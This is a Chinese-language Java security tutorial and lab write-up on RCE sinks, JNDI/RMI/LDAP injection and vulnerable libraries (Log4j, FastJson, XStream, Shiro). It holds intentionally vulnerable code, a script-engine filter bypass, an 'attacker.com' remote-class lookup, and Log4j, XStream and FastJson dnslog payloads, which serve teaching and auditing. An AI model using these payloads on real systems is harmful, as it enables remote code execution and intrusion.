WEB攻防-Java安全JNDIRMILDAP五大不安全组件RCE执行不出网不回显
目录
1. RCE执行-5大类函数调用
1.1 Runtime方式
1.2 Groovy执行命令
1.3 脚本引擎代码注入
1.4 ProcessImpl
1.5 ProcessBuilder
2. JNDI注入(RCE)-RMI&LDAP&高版本
2.1 RMI服务中的JNDI注入场景
2.2 LDAP服务中的JNDI注入场景
攻击路径示例(以LdapTemplate为例)
2.3 靶场案例
2.4 JDNI注入利用条件
3. 不安全组件(框架)
3.1 Log4j
3.2 Jackson
3.3 FastJson
3.4 XStream反序列化
3.5 Shiro
4. 演示案例-白盒审计不安全组件漏洞
4.1 案例部署
4.2 FastJson
4.3 Log4J
5. 不回显常见判断通用方法:
1. RCE执行-5大类函数调用
RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两类漏洞:
命令注入(Command Injection),在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入
代码注入(Code Injection),在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。
这里主要是介绍java原生代码中常见的5大类函数调用命令/代码执行
1.1 Runtime方式
漏洞描述
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
getRuntime()常用于执行本地命令,使用频率较高。
漏洞代码
// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...

安全代码-白名单方式
// 使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护。public static String safe(String cmd) {// 定义命令白名单Set<String> commands = new HashSet<\>();commands.add("ls");commands.add("pwd");// 检查用户提供的命令是否在白名单中String command = cmd.split("\\s+")[0];if (!commands.contains(command)) {return "命令不在白名单中";}...
}
1.2 Groovy执行命令
漏洞描述
* windows: "calc".execute()
* macos: "open -a Calculator".execute()
漏洞代码
// 不安全的使用Groovy调用命令import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}
直接调用calc.exe,execute()是Groovy中执行命令的方法
通过cmd执行calc(兼容性更好)

1.3 脚本引擎代码注入
漏洞描述
在Java 8之后ScriptEngineManager的eval函数就没有了
windows: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};
Payload绕过: var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}
漏洞代码
// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}
解释:在标准的浏览器环境或Node.js环境中,JavaScript本身并没有直接访问
java.lang.Runtime类的方法,因为java.lang是Java的标准库包,与JavaScript无关。然而,在Java的脚本引擎(如Nashorn)环境中,情况就不同了。在这种环境中,JavaScript代码可以访问和执行Java代码,包括Java标准库中的类和方法,前提是这些类和方法对脚本引擎是可见的,并且没有受到安全策略的限制。
详细解释:
- Java脚本引擎环境:
- 当你在Java应用程序中嵌入JavaScript引擎(如Nashorn)时,JavaScript代码将在Java虚拟机(JVM)中执行。
- 在这种环境中,JavaScript代码可以调用Java对象和方法,就像Java代码调用它们一样。
- 访问
java.lang.Runtime类:
java.lang.Runtime类是Java标准库中的一个类,提供了与应用程序运行时环境交互的方法。- 在Java脚本引擎中,如果未明确禁止脚本访问
java.lang包,JavaScript代码就可以通过java.lang.Runtime类来访问运行时环境。- 调用
getRuntime().exec()方法:
getRuntime()方法是java.lang.Runtime类的一个静态方法,返回一个Runtime对象,该对象表示当前的运行时环境。exec()方法是Runtime类的一个方法,用于执行指定的系统命令。- 因此,在Java脚本引擎中,JavaScript代码可以通过
java.lang.Runtime.getRuntime().exec("command")来执行系统命令。
在远程服务器创建1.js,代码如下:
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("cmd /c calc");}
- 代码通过
var a = mainOutput();调用了mainOutput()函数。mainOutput()函数内部执行了java.lang.Runtime.getRuntime().exec("cmd /c calc"),启动了计算器应用程序。- 变量
a被赋值为mainOutput()函数的返回值(即undefined),但关键的系统命令执行已经发生。

1.4 ProcessImpl
漏洞描述
对于ProcessImpl类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
该类非Public修饰,所以在不同包下只能通过反射的方式去调用执行。
漏洞代码
// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法将 start 方法设为可访问method.setAccessible(true);// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
解释:
Constructor<?> constructor = Class.forName("java.lang.ProcessImpl").getDeclaredConstructor(String[].class, // (1) 命令参数数组Map.class, // (2) 环境变量映射String.class, // (3) 工作目录路径ProcessHandle.class, // (4) 进程句柄long.class // (5) 本地进程ID);参数详解:
- String[].class
- 作用:要执行的命令及其参数列表
- 示例:
new String[]{"ls", "-l", "/tmp"}- 注意:首个元素通常为可执行程序路径,后续元素为参数
- Map.class
- 作用:子进程的环境变量映射表
- 类型:
Map<String, String>- 示例:
Map.of("PATH", "/usr/bin")- 注意:若传入
null,将继承父进程的环境变量- String.class
- 作用:子进程的工作目录绝对路径
- 示例:
"/var/www"- 注意:若传入
null,将继承父进程的工作目录- ProcessHandle.class
- 作用:关联的进程句柄对象
- 用途:用于获取进程PID、父进程信息、进程状态等
- 示例:
ProcessHandle.current()获取当前进程句柄- long.class
- 作用:本地进程ID(Native PID)
- 来源:由JVM底层创建进程时分配
- 注意:通常传入
-1L,表示由系统自动分配

1.5 ProcessBuilder
漏洞描述
Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。
Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。
ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。
创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。
简单点说就是:ProcessBuilder和Runtime.exec()方法用于创建子进程,其参数处理机制存在安全隐患。当未经验证的外部输入直接拼接到命令字符串时,攻击者可注入恶意参数改变执行逻辑。
漏洞代码
// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder执行ls命令查看文件,但攻击者通过拼接; & |等连接符来执行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath};ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);Process process = pb.start();// 获取命令的输出InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");}return output.toString();
}
由于这是写的Linux的命令,所以换另一个平台javasec-0.0.1-SNAPSHOT.jar测试
漏洞代码
public String ProcessBuilderExec(String ip, String safe, Model model) {if (safe != null) {if (Security.checkOs(ip)) {model.addAttribute("results", "检测到非法命令注入");return "basevul/rce/processbuilder";}}
// String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};StringBuilder sb = new StringBuilder();String line;String results;
代码类似,这里通过safe开关来打开过滤,过滤代码:
public static boolean checkOs(String content) {String black = "|,&,&&,;,||";String[] black_list = black.split(",");for (String s : black_list) {if (content.contains(s)) {return true;}}return false;}
未过滤时ip输入127.0.0.1 | calc

打开过滤

2. JNDI注入(RCE)-RMI&LDAP&高版本
JNDI(Java Naming and Directory Interface)是Java平台提供的命名与目录服务接口,它的核心作用是通过统一的API访问各种命名/目录服务(如LDAP、DNS、RMI等)。其设计初衷是为分布式系统提供统一的资源定位服务。通过InitialContext.lookup()方法,开发者可以透明地访问各种命名/目录服务。
简单来说,JNDI就像是一个“通讯录”,Java程序可以通过它查找和获取远程服务资源。
RMI:是Java原生支持的远程调用方法协议,允许一个Java虚拟机(JVM)中的对象调用另一个JVM中对象的方法,适用于分布式系统中组件间的通信。
服务端:注册远程对象
// 定义远程接口 public interface IRemoteService extends Remote {String sayHello(String name) throws RemoteException; }// 实现远程对象 public class RemoteServiceImpl extends UnicastRemoteObject implements IRemoteService {public RemoteServiceImpl() throws RemoteException {}@Overridepublic String sayHello(String name) {return "Hello, " + name;} }// 注册到RMI Registry public class RMIServer {public static void main(String[] args) throws Exception {IRemoteService service = new RemoteServiceImpl();Registry registry = LocateRegistry.createRegistry(1099);registry.bind("RemoteService", service);System.out.println("RMI服务已启动");} }客户端:通过JNDI查找并调用
public class RMIClient {public static void main(String[] args) throws Exception {Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);IRemoteService service = (IRemoteService) ctx.lookup("RemoteService");System.out.println(service.sayHello("World")); // 输出: Hello, World} }RMI会优先调用本地存在的方法,没有才会调用远程提供的方法
LDAP:轻量级目录访问协议 ,常用于用户认证、组织信息查询等。
关键字 英文全称 含义 dc Domain Component 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) uid User Id 用户ID songtao.xu(一条记录的ID) ou Organization Unit 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织) cn Common Name 公共名称,如“Thomas Johansson”(一条记录的名称) sn Surname 姓,如“许” dn Distinguished Name “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一) rdn Relative dn 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson”
风险本质上是攻击者通过构造恶意JNDI引用,诱导应用加载远程类库并执行恶意代码。这种攻击往往结合反序列化漏洞、日志注入等场景,形成攻击链。
2.1 RMI服务中的JNDI注入场景
| 类名 | 方法 | 调用场景 | 风险描述 |
|---|---|---|---|
org.springframework.transaction.jta.JtaTransactionManager | readObject() | 反序列化 | 未过滤的JNDI名称可导致注入 |
com.sun.rowset.JdbcRowSetImpl | execute() | 数据库操作 | dataSourceName参数未校验 |
javax.management.remote.rmi.RMIConnector | connect() | JMX连接 | RMI地址参数未做白名单控制 |
org.hibernate.jmx.StatisticsService | setSessionFactoryJNDIName() | JMX配置 | 直接设置未验证的JNDI名称 |
攻击路径示例(以JdbcRowSetImpl为例)
注入点:
String payload = "rmi://attacker.com/Exploit";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(payload); // 未校验的输入
触发点:
rs.execute(); // 内部调用lookup()加载RMI服务
2.2 LDAP服务中的JNDI注入场景
| 类名 | 方法 | 调用场景 | 风险描述 |
|---|---|---|---|
javax.naming.directory.InitialDirContext | lookup() | LDAP查询 | 未过滤的查询参数 |
org.springframework.ldap.core.LdapTemplate | lookup() | LDAP操作 | 动态构建的查询语句 |
攻击路径示例(以LdapTemplate为例)
注入点:
String baseDn = "${userInput}"; // 用户可控输入
LdapTemplate template = new LdapTemplate(contextSource);
template.lookup(baseDn, new MyAttributesMapper());
触发点:
template.lookup(...); // 内部调用InitialDirContext.lookup()
漏洞代码
2.3 靶场案例
// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}
}
使用工具生成payload


jndi本身不是漏洞,是java用来远程加载文件执行从而造成一个RCE的结果,一般是在漏洞利用的时候会使用这个jndi注入达到一个RCE目的。
安全代码 - 正则拦截
public String safe(String content) {// 使用正则表达式限制参数if (content.matches("^[\\w\\.-]+$")) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 正则拦截";}
}
安全代码 - 白名单拦截
public String safe2(String content) {List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");if (whiteList.contains(content)) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 白名单拦截";}
}
更新jdk版本,能起到一定的防御作用,但不能完全有效,最终还是在于编写安全代码
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
2.4 JDNI注入利用条件

如果对方使用的更高版本去部署,rmi和ldap都可能失败,及时漏洞存在,可能会接受到请求class文件,但不会成功执行

Tomcat 8+ or SpringBoot 1.2.x+部署也会存在注入
高版本绕过可参考:
8u191后的JNDI注入利用 - Atomovo - 博客园
如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX
3. 不安全组件(框架)
3.1 Log4j
Apache的一个开源项目,是一个基于Java的日志记录框架。
Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),
该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
历史漏洞:https://avd.aliyun.com/search?q=Log4j

本地javasec案例
漏洞代码:
// log4j-core < 2.15.0-rc1public String vul(String content) {logger.error(content);return "Log4j2 RCE";
}
工具生成payload


实际情况弹出计算机calc操作是在服务端弹出的,我们没有回显,所以测试的时候用dnslog做带外就知道是否可以出网了


修复方案:
方案一、升级版本
升级Apache Log4j所有相关应用到>= Log4j-2.15.0官方稳定版本
方案二、临时缓解(选其一)
● 版本>=2.10.0, 修改jvm参数,添加-Dlog4j2.formatMsgNoLookups=true
● 版本>=2.10.0, 代码中配置System.setProperty("log4j2.formatMsgNoLookups", "true"),重新打包jar包
● 版本>=2.10.0, 修改配置文件log4j2.component.properties :log4j2.formatMsgNoLookups=True
注意:临时缓解对Log4j <= 2.9版本是无效的,因为在2.10版本之前并没有引入这些变量来控制 lookup()。
3.2 Jackson
主要负责处理Json的序列化和反序列化。
Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,
攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
CVE-2020-xxxx:Jackson-databind RCE两则
影响范围:
- jackson-databind before 2.9.10.4
- jackson-databind before 2.8.11.6
- jackson-databind before 2.7.9.7
利用条件:
- 开启enableDefaultTyping()
- 使用了com.nqadmin.rowset.JdbcRowSetImpl第三方依赖

漏洞概述:
com.nqadmin.rowset.JdbcRowSetImpl类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。

3.3 FastJson
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

3.4 XStream反序列化
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
历史上存在多个反序列化漏洞。
<!--payload-->
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string><!--执行的命令--></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>

3.5 Shiro
Java安全框架,能够用于身份验证、授权、加密和会话管理。
强特征:数据包有标识字样: Remember-me

在登录时发现发送失败,返回空指针报错问题
检查发现是前端和后端的参数名错了,导致remember值为null造成的,把后端shoir.java的大写M改为小写重新打包就行


获取请求url

使用工具利用


4. 演示案例-白盒审计不安全组件漏洞
4.1 案例部署
1.执行sql文件

2.以项目打开pom.xml文件的方式在idea导入项目
3. 重载一下maven,他会根据pom.xml去重新下载包3.

4.修改数据库连接用户和密码然后启动项目


http://127.0.0.1:8088/tmall/
4.2 FastJson
在pom文件中可以看到引入了FastJson1.2.58的包

关键函数:
JSON.parseObject()
项目中搜索该函数

可以看到在添加产品中使用了 JSON.parseObject(),后端接口admin/product下产品属性参数propertyJson是通过FastJson解析的


登录后台,账号/密码:admin/123456


添加一个产品并抓包

dnslog带外测试:使用上面javasec的payload发现是被修复过的,报错说不支持autoType,1.2.25版本以上默认关闭autotype,不允许反序列化时动态加载类{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://pxnskqelcn.yutu.eu.org","autoCommit":true}

利用 java.net.Inet [4 | 6] 地址
版本范围:1.2.24-1.2.83
{"@type":"java.net.Inet4Address","val":"vlcffimauq.lfcx.eu.org"}

想继续利用没有成功,也没找到1.2.58绕过的payload
网上找到一些dnslog的payload,没全测部分可用
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
4.3 Log4J

重点关注 Logger.xxx,且引用了变量
| TRACE | logger.trace() | 用于记录最详细的日志信息,通常用于调试非常细粒度的程序行为。 |
| DEBUG | logger.debug() | 用于记录调试信息,帮助开发者在开发和测试阶段排查问题。 |
| INFO | logger.info() | 用于记录一般性的运行信息,表示程序的正常运行状态。 |
| WARN | logger.warn() | 用于记录警告信息,表示可能存在的问题,但程序仍能继续运行。 |
| ERROR | logger.error() | 用于记录错误信息,表示程序出现了问题,但不一定导致程序崩溃。 |
| FATAL | logger.fatal() | 用于记录严重错误信息,表示程序遇到了无法恢复的错误,可能会导致程序崩溃。 |
全局搜索

可以看到后台接口admin/uploadAdminHeadImage,文字上看是头像上传,上传文件抓包把文件名改为payload
调出计算器

5. 不回显常见判断通用方法:
相关文章:
WEB攻防-Java安全JNDIRMILDAP五大不安全组件RCE执行不出网不回显
目录 1. RCE执行-5大类函数调用 1.1 Runtime方式 1.2 Groovy执行命令 1.3 脚本引擎代码注入 1.4 ProcessImpl 1.5 ProcessBuilder 2. JNDI注入(RCE)-RMI&LDAP&高版本 2.1 RMI服务中的JNDI注入场景 2.2 LDAP服务中的JNDI注入场景 攻击路径示例&#…...
UML组件图
一、UML 组件图 组件图(Component Diagram)主要用于描述系统的物理结构,用于展示可独立部署的软件模块(如微服务、动态链接库、API网关)及其交互关系。组件图中的主要元素包括: 组件(Component…...
DrissionPage移动端自动化:从H5到原生App的跨界测试
一、移动端自动化测试的挑战与机遇 移动端测试面临多维度挑战: 设备碎片化:Android/iOS版本、屏幕分辨率差异 混合应用架构:H5页面与原生组件的深度耦合 交互复杂性:多点触控、手势操作、传感器模拟 性能监控:内存…...
从 Excel 到你的表格应用:条件格式功能的嵌入实践指南
一、引言 在日常工作中,面对海量数据时,如何快速识别关键信息、发现数据趋势或异常值,是每个数据分析师面临的挑战。Excel的条件格式功能通过自动化的视觉标记,帮助用户轻松应对这一难题。 本文将详细介绍条件格式的应用场景&am…...
redis 和 MongoDB都可以存储键值对,并且值可以是复杂json,用完整例子分别展示说明两者在存储json键值对上的使用对比
Redis 存储 JSON 键值对示例 存储操作: // 存储用户信息(键:user:1001,值:JSON对象) SET user:1001 {"name":"Alice", "age":30, "address":"New York&quo…...
SQLI打靶
文章目录 一、DVWA0. Mysql与Mariasql1. 单/双引号 - 十六进制编码绕过**原理:** 2. limit 1的绕过3. 参数化查询绕过一、介绍二、PDO是一种PHP实现参数化查询的机制 三、预编译绕过 之 结构化参数 4. 反自动化手段 之 Anti-CSRF token静态:动态…...
STM32单片机入门学习——第22节: [7-2] AD单通道AD多通道
写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难,但我还是想去做! 本文写于:2025.04.07 STM32开发板学习——第22节: [7-2] AD单通道&AD多通道 前言开发板说明引用解…...
python基础语法1:输入输出
1. 输出 (Output) 1.1 print() 基础 Python 使用 print() 函数向控制台输出内容。 # 输出字符串 print("Hello, World!") # 输出多个值(自动用空格分隔) print("Name:", "Alice", "Age:", 25) # 修改分隔符&…...
对Android中zygote的理解
1. Zygote的作用 Zygote是Android系统的核心进程,核心作用可归纳为以下三点: 核心作用详细说明进程孵化器作为所有应用进程的父进程,通过fork快速创建新进程(避免重复初始化虚拟机)。(system server也由z…...
【Survival Analysis】【机器学习】【1】
前言: 今年在做的一个博士课题项目,主要是利用病人的数据,训练出一个AI模型,做因果分析, 以及个性化治疗。自己一直是做通讯AI方向的,这个系列主要参考卡梅隆大学的教程,以及临床医生的角度 了…...
WebShell详解:原理、分类、攻击与防御
目录 一、WebShell的定义与核心概念 二、WebShell的分类 三、WebShell的攻击原理与常见手法 1. 攻击原理 2. 常见攻击路径 四、WebShell的危害 五、防御与检测策略 六、总结 一、WebShell的定义与核心概念 WebShell是一种以ASP、PHP、JSP等网页脚本形式存在的恶…...
JavaScript---原型和原型链
目录 一、引用类型皆为对象 二、原型和原型链是什么 三、__proto__与prototype 总结 四、原型链顶层 五、constructor 六、函数对象的原型链 一、引用类型皆为对象 原型和原型链都是来源于对象而服务于对象: JavaScript中一切引用类型都是对象,…...
离散数学问题集--问题5.9
问题 5.9 综合了计算机组成原理、数字逻辑和离散数学中的关键概念,旨在帮助学生理解二进制算术运算的硬件实现、逻辑门与算术运算的关系,以及如何使用数学方法来验证数字系统的正确性。它强调了从规范到实现再到验证的完整过程。 思想 函数抽象…...
手游防DDoS攻击SDK接入
在手游中集成防DDoS攻击SDK是抵御流量型和应用层攻击的核心手段之一。以下从SDK选型、接入流程、防护策略优化三个维度提供完整指南,并附关键代码示例: 一、SDK选型与核心能力对比 服务商优势劣势适用场景…...
Java—HTML:CSS选择器
今天我要介绍的知识点内容是Java HTML中的CSS选择器; CSS选择器用于定位HTML元素并为其添加样式。它允许我们控制网页的颜色、字体、布局和其他视觉元素。通过分离内容与样式。 下面我将介绍CSS中选择器的使用,并作举例说明; 选择器基本语…...
如何将/dev/ubuntu-vg/lv-data的空间扩展到/dev/ubuntu-vg/ubuntu-lv的空间上
要将 /dev/ubuntu-vg/lv-data 的空间扩展到 /dev/ubuntu-vg/ubuntu-lv 上,实际上是将 lv-data 的空间释放出来,并将其分配给 ubuntu-lv。以下是详细的步骤和操作说明: 已知信息 你有两个逻辑卷: /dev/ubuntu-vg/lv-data/dev/ubun…...
SSM阶段性总结
0 Pojo类 前端给后端:DTO 后端给前端:VO 数据库:PO/VO 业务处理逻辑:BO 统称pojo 1 代理模式 实现静态代理: 1定义接口2实现类3写一个静态代理类4这样在调用时就可以使用这个静态代理类来实现某些功能 实现动态代…...
Qt 5.14.2入门(一)写个Hello Qt!程序
目录 参考链接:一、新建项目二、直接运行三、修改代码增加窗口内容1、Qt 显示一个 QLabel 标签控件窗口2、添加按键 参考链接: Qt5教程(一):Hello World 程序 Qt 编程指南 一、新建项目 1、新建一个项目(…...
Jmeter分布式测试启动
代理客户端配置 打开jmeter.properties文件,取消注释并设置端口(如server_port1099), 并添加server.rmi.ssl.disabletrue禁用SSL加密。 (Linux系统)修改jmeter-server文件中的RMI_HOST_DEF为代理机实际IP。…...
redis itheima
缓存问题 核心是如何避免大量请求到达数据库 缓存穿透 既不存在于 redis,也不存在于 mysql 的key,被重复请求 public Result queryById(Long id) {String key CACHE_SHOP_KEYid;// 1. redis & mysqlString shopJson stringRedisTemplate.opsFo…...
mysql 执行计划中eq_ref是什么意思?
在 MySQL 的执行计划中,eq_ref 是一种连接类型(type),表示查询优化器在使用**主键(PRIMARY KEY)或唯一索引(UNIQUE INDEX)**进行等值匹配()时,对表…...
QT 调用动态链接库
引入QT提供的动态加载库的类 #include <QLibrary>定义函数指针类型 typedef void (*GetResFunction)(uint8_t*, uint8_t*, int);定义函数指针的主要目的是为了解析和调用动态链接库中的函数。如果你不定义函数指针,就无法直接调用动态链接库中的函数 加载动…...
100天精通Python(爬虫篇)——第122天:基于selenium接管已启动的浏览器(反反爬策略)
文章目录 1、问题描述2、问题推测3、解决方法3.1 selenium自动启动浏览器3.2 selenium接管已启动的浏览器3.3 区别总结 4、代码实战4.1 手动方法(手动打开浏览器输入账号密码)4.2 自动方法(.bat文件启动的浏览器) 1、问题描述 使用…...
MPP 架构解析:原理、核心优势与对比指南
一、引言:大数据时代的数据处理挑战 全球数据量正以指数级增长。据 Statista 统计,2010 年全球数据量仅 2ZB,2025 年预计达 175ZB。企业面临的核心挑战已从“如何存储数据”转向“如何快速分析数据”。传统架构在处理海量数据时暴露明显瓶颈…...
GitHub 趋势日报 (2025年04月06日)
GitHub 趋势日报 (2025年04月06日) 本日报由 TrendForge 系统生成 https://trendforge.devlive.org/ 📈 今日整体趋势 Top 10 排名项目名称项目描述今日获星语言1microsoft/markitdownPython tool for converting files and office documents to Markdown.⭐ 548Py…...
Python设计模式-工厂模式
一、模式定义与核心思想 工厂模式(Factory Pattern)属于创建型设计模式,其核心思想是通过一个"工厂类"来创建对象,而不是直接调用类的构造函数。这种模式将对象的实例化过程封装起来,使系统在实例化对象时能…...
SAP-ABAP:SAP的Open SQL和Native SQL详细对比
在SAP ABAP开发中,Open SQL和Native SQL是两种操作数据库的方式,它们的核心区别在于可移植性、功能范围及底层实现机制。以下是详细对比: 1. Open SQL:深入解析 1.1 核心特性 数据库抽象层 Open SQL 由 SAP 内核的 Database Interface (DBI) 转换为目标数据库的 SQL(如 …...
蓝桥杯 拼数(字符串大小比较)
题目描述 设有 n 个正整数 a1…an,将它们联接成一排,相邻数字首尾相接,组成一个最大的整数。 输入格式 第一行有一个整数,表示数字个数 n。 第二行有 n 个整数,表示给出的 n 个整数 ai。 输出格式 一个正整…...
Server-Sent Events一种允许服务器向客户端发送实时更新的 Web API
Server-Sent Events(SSE)是一种允许服务器向客户端发送实时更新的 Web API。它基于 HTTP 协议,提供了一种单向的、服务器到客户端的通信机制,客户端可以通过监听服务器发送的事件来接收实时数据。下面从原理、使用场景、代码示例等…...
彻底解决VS2008编译错误:fatal error C1083 无法打开包括文件“stdint.h“
彻底解决VS2008编译错误:fatal error C1083 无法打开包括文件"stdint.h" 一、错误现象与本质原因 当在Visual Studio 2008中编译包含C99标准整数类型(如int8_t、uint32_t)的代码时,常出现以下编译错误: f…...
